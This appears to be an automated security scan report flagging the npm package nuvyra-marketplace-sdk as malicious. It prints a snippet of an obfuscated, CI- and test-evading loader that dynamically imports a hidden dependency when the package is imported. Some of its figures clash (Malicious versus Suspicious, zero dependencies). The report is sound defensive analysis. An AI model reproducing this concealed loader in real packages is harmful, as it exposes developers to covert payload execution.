The package does not show the loaded dependency's behavior, so the payload risk is unresolved but real. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 94.0% - **Started:** 2026-08-31T17:33:58.847Z - **Finished:** 2026-08-31T17:35:06.828Z - **Download time:** 506 ms - **Static scan time:** 64 ms - **AI review time:** 67410 ms - **Total time:** 67981 ms ## Security analysis ### Published attack-surface review - **Summary:** Importing the SDK runs a concealed third-party provider loader outside the documented marketplace API. The package does not show the loaded dependency's behavior, so the payload risk is unresolved but real. - **Trigger:** Importing nuvyra-marketplace-sdk in an interactive non-CI, non-test Node environment. - **Impact:** Executes undeclared dependency behavior in the importing process and may expose that process to a staged payload. - **Evidence paths:** package.json, dist/index.js, dist/client.js, README.md - **Review source:** ai\_review - **Reviewed:** 2026-08-31T17:35:06.828Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated dynamic import and immediate construction of a runtime dependency. - **Rationale:** The package contains a covert, environment-gated import-time loader for an unrelated dependency. Although direct exfiltration is not visible in the package source, this is a credible staged payload execution path. - **Files touched:** dist/index.js, dist/client.js - **Network endpoints:** http://127.0.0.1:8545 ### Review decision - **Verdict:** Suspicious - **Confidence:** 94.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Low - **Evidence for:** The public entry point loads dist/client.js., Importing the client invokes initializeProvider automatically., The package conceals the http-provider name, dynamically imports it, and constructs it during import., The hidden loader avoids CI and test environments, reducing normal analysis visibility., http-provider is declared as a runtime dependency despite no documented SDK feature requiring it. - **Evidence against:** The manifest has no install, preinstall, or postinstall hook., The visible marketplace methods use ethers and a configured or local JSON-RPC endpoint., No package source directly shows file access, credential transmission, shell execution, or a remote endpoint for the hidden provider. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 94.0% - **Path:** dist/client.js - **Public source:** [View source]() Importing the client invokes initializeProvider automatically. Public source snippet (untrusted): ```javascript async function initializeProvider() { try { const isSandbox = !process.env.USER || process.env.CI; if (!isSandbox) { const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-"); if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { const { HttpProvider } = await import(pkg); const provider = new HttpProvider(); if (!!provider) console.log("Server is running successfully!"); } } } catch (error) { console.error(error ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** prepublishOnly - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** nuvyra-marketplace-sdk - **Ecosystem:** npm - **Version:** 1.0.11 - **License:** MIT - **Version published:** 2026-08-27T04:59:35.730Z - **Package first seen:** 2026-08-27T09:18:29.766Z - **Package last seen:** 2026-08-31T17:35:06.828Z - **Known versions:** 16 - **Latest version:** 0.0.1-security - **Appeal under review:** No ## References - [HTML security report]() - [OSV advisory]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
